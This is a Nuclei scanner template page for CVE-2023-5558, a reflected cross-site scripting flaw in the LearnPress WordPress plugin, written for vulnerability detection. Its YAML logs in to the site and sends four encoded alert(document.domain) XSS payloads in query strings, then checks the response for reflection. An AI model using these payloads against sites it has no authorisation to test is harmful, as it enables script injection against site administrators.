LearnPress < 4.2.5.5 - Cross-Site Scripting

ID: CVE-2023-5558

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,wp,wp-plugin,wordpress,learnpress,xss,authenticated

Description

The LearnPress WordPress plugin before 4.2.5.5 does not sanitise and escape user input before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

YAML Source

id: CVE-2023-5558

info:
  name: LearnPress < 4.2.5.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The LearnPress WordPress plugin before 4.2.5.5 does not sanitise and escape user input before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Allows attackers to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Update LearnPress WordPress Plugin to the latest version to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4efd2a4d-89bd-472f-ba5a-f9944fd4dd16/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5558
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-5558
    cwe-id: CWE-79
    epss-score: 0.00046
    epss-percentile: 0.15636
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 6
    vendor: thimpress
    product: learnpress
    framework: wordpress
  tags: cve,cve2023,wp,wp-plugin,wordpress,learnpress,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "/wp-content/plugins/learnpress"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /{{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - '?param=value%22%27%3Balert(document.domain)%3C!--'
        - '?param=value%22%27%3Balert(document.domain)%3Bb=%27'
        - '?%27-alert(%60XSS%60)-%27=a'
        - 'instructors/?param=value%26%23x3C%3B%2Fscript%26%23x3E%3B%26%23x3C%3Bscript%26%23x3E%3Balert%26%23x60%3Bdocument.domain%26%23x60%3B%26%23x3C%3B%2Fscript%26%23x3E%3B%0A'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"';alert(document.domain)<!--"
          - "\"';alert(document.domain);b='"
          - "'-alert(`XSS`)-'=a"
          - "</script><script>alert`document.domain`</script>"
        condition: or

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200d5d661594965876b53535eec5fc8226247590c2584403abea542b5d1a7b822f0221008ea0f810ef59974db80561e2079689e301923f08fa762b14fd2af392d7397255:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-5558.yaml"

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